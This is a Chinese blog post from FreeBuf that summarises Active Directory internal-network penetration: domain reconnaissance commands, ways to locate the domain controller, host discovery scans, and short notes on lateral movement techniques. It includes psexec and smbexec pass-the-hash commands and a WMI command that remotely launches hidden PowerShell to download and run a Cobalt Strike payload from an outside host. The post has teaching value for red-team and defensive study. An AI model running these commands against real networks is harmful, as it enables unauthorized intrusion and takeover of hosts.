freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

域内常用的操作精简版
cmrex 2022-01-23 12:41:38 250987
所属地 北京

author: cmrex


一.术语

域环境

  • 单域

    顾名思义,一个域,通常存在于一个小公司(一个域控DC,一个备份机),活动目录的数据库存储在域控制器(必须的!)

  • 域森林

    多个域合在一起,域树建立信任的关系的集合。例如多个子公司在一起。

  • 域树

    一个根域内,许多的子域。

域名服务器DNS

  • 因为在内网中,是无法外联的,所以无法访问外部的域名服务器。这个时候每个域内的主机需要互相访问,记录ip很复杂,将域名和ip一一对应也是很复杂的。所以我们安装dns域名服务器在内网。DNS服务器一般和域控在一台服务器上。

DC

  • domain controller:域控制器。俗称域控,也是渗透的目标之一。

AD

  • 活动目录,Active Directory,集中管理统一平台。活动目录内的数据存储在不同的域内,每一个域存储自己的数据。

Ntdsutil.exe-ntdsutil.exe

  • 域控制器自带的数据库管理工具

NTDS.dit

  • 域账号存储在活动目录中,以数据库的形式。

二.命令

从攻击者的思路来看,我们刚开始获取到一个shell的时候,第一步,我们需要信息收集。定位自己是谁?自己所处于什么样的环境?自己的目标以及自己和别的设备的联系。

横向的目的

  • 工作组:尽可能多的控制机器

  • 域环境:获取DC的权限(在这个过程中,我们需要不断地控制机器,抓hash也好,利用协议横向也好,利用漏洞,都是途径)

一.判断域内外及用户

我们首先要判断我们是在域内还是在域外,我们是否拿到一台域内的机器,或者是域外的机器。

image-20220123102112523

首先这张图,我们可以看见

whoami

出示了我们是谁,但仅仅这个我们不能判断我们是不是在域环境内。因为那个cmrex是这台计算机的名称,后面administrator是用户名

net user

这个是显示本地用户有哪些

我们看到了本地也有administrator,可能administrator是本地用户。

net user /domain

这条命令展示了域内的用户都有谁,如果没有域则会显示这个:

image-20220123102916768

判断是否在域内还可以用这几条命令:

net time /domain

image-20220123103040672

image-20220123103049964

query user || qwinsta

查询当前登录的用户有哪些

image-20220123103847454

net localgroup administrators && whoami

查询当前是否是管理组

image-20220123112225629

二.判断有几个域及情况

systeminfo | findstr "域"

查找是否存在域,结果发现确实存在域

image-20220123105546901

net view /domain

确定了在域内查看有几个域

image-20220123104236909

net group /domain

查看域内的用户组

image-20220123104409683

net config workstation

登陆域,计算机名,显示的信息比较多,当前我们计算机名:pcroot.hack.club,我们的域是hack.club,我们域内的用户是user1

image-20220123104822843

net group "domain admins" /domain

查看域管

image-20220123104521399

net group "domain controllers" /domain

域控,有一个域控

image-20220123104709067

三.定位域控

1.命令快速定位

net time

我们发现DC:dc.hack.club

image-20220123105221685

nslookup dc.hack.club

获得了DC的ip

image-20220123105351111

nslookup -type=SRV _ldap._tcp

SRV记录是DNS服务器的数据库中支持的一种资源记录的类型,它记录了哪台计算机提供了哪个服务这么一个简单的信息 SRV 记录。限制:DNS服务器必须支持服务定位(SRV)资源记录

image-20220123105633565

nltest /dclist:hack.club

查看域控

image-20220123112340454

2.工具定位

  • PSloggedon.exe

    https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

    需要有管理员权限

    PSloggedon.exe \root
  • powerView.ps1

    https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

    ps脚本收集

    powershell.exe -exec bypass -Command “& {Import-Module C:\Users\win7\Desktop\tool\PowerView.ps1; Invoke-UserEvenHunter}”

3.端口发现

389:ldap
636:ldaps
53:dns
域控一般会开启这些端口
但是动静很大, 不建议

四.网络情况主机发现

1.命令

ipconfig

我们发现这个是双网卡,一个连接外网,一个连接内网,内外网卡和域控是一个网段

image-20220123111630493

arp -a

查询内网协议arp,跟某些机器互通

image-20220123111735875

netstat -ano

查看连接情况

image-20220123111851060

net session

查看连接情况

for /l %i in (1,1,255) do @ping 100.100.100.%i -w 1 -n 1|find /i "ttl="

ping协议

image-20220123112735388

2.工具

fscan -h 100.100.100.1/24

ps扫描:单ip多端口

440..450 | % {echo ((new-object Net.Sockets.TcpClient).Connect("100.100.100.101",$_)) "Port $_ is open!"} 2>$null

某ip段单个端口

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 100.100.100.$ip}

基于msf的域控发现:

run post/windows/gather/enum_domain

三.横向移动方法简述

1.PTH 、PTT、PTK攻击

主要关注什么情况下可以成功,哈希传递受什么限制,补丁KB2871997对pth影响,本地管理组非rid500的用户pth无法成功的原因(UAC?)

2.白银黄金票据

利用条件,防御方式,使用工具

3.windows token 令牌

假冒令牌:冒充别人的身份进行操作,如果冒充了administrator就可以权限提升。

待续

4.IPC横向移动

IPC,计划任务上线,远程文件下载,文件共享

5.RDP登录,hash,爆破,记录

3389远程登录,抓取hash,使用hash登录等,爆破远程登录rdp,注册表开启rdp登录

6.Psexec进行横向渗透

Psexec远程命令执行,使用PsExec执行远程命令,需要开启Admin$共享,可注册表开启,

psexec \\hostIp -u [username] -p [password] cmd

7.WMI横向移动

wmic /NODE:192.168.3.123 /user:"administrator" /password:"Aatest" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))\""

//上线cs

也是远程命令执行的一种,WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

8.smbexec进行横向渗透

smbexec 可以通过文件共享(admin,c,ipc,d)在远程系统中执行命令,依赖于445端口。

./smbexec.py xie/hack@IP -hashes HASH

9.DCOM在远程系统执行命令

  1. 管理员权限的powershell

  2. 客户端关闭防火墙

  3. 服务端需要域管的administrator账户或者目标主机具有管理员权限的账户

  4. 双方主机都需有MMC Application Class这个DCOM组件。

10.SPN在域环境中的利用

在内部网络中,SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端、交换机、微软SQL等,并隐藏他们。此外,SPN的识别也是kerberoasting攻击的第一步。

11.xchange邮件服务器渗透

Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。

12.winrm横向移动

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的 服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令 行shell,而底层通讯协议使用的是HTTP。

winrm可以远程命令执行。

  1. 目标机器开启winrm服务

  2. 目标机器是win server,windows主机不行

  3. 目标机器winrm没有白名单(一旦白名单ip是无法登录的)

  4. 组合HTTP.sys驱动自带的端口复用功能

  5. 必须要知道明文密码(也可以使用hash传递)

13.ntlm rely

ntlm重放攻击,阶段hash,从而对其他机器进行控制。需要学习windows本地认证和ntlm认证。一般存在一些认证服务的时候,都可以尝试使用ntlm relay攻击。

14.LDAP渗透

可以使用DC的ip,域内用户登录。LDAP注入等。

15.约束,非约束委派攻击

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,接受委派的用户只能是服务账户或者计算机用户。票据相关的攻击方法。

四.小结

进入内网,判断自我所处的环境,查询网络用户,定位域控等信息,也可以些脚本自动化运行,思路很多,需要灵活应变。

# web安全 # 内网渗透 # 内网漫游 # 横向移动
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 cmrex 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
网络知识学习
技术文章
cmrex LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 15 关注者
ssrf及其相关利用
2022-01-26
AWD总述以及心得总结
2021-08-05
简单讲解如何绕过PHP disable_function
2021-07-13
文章目录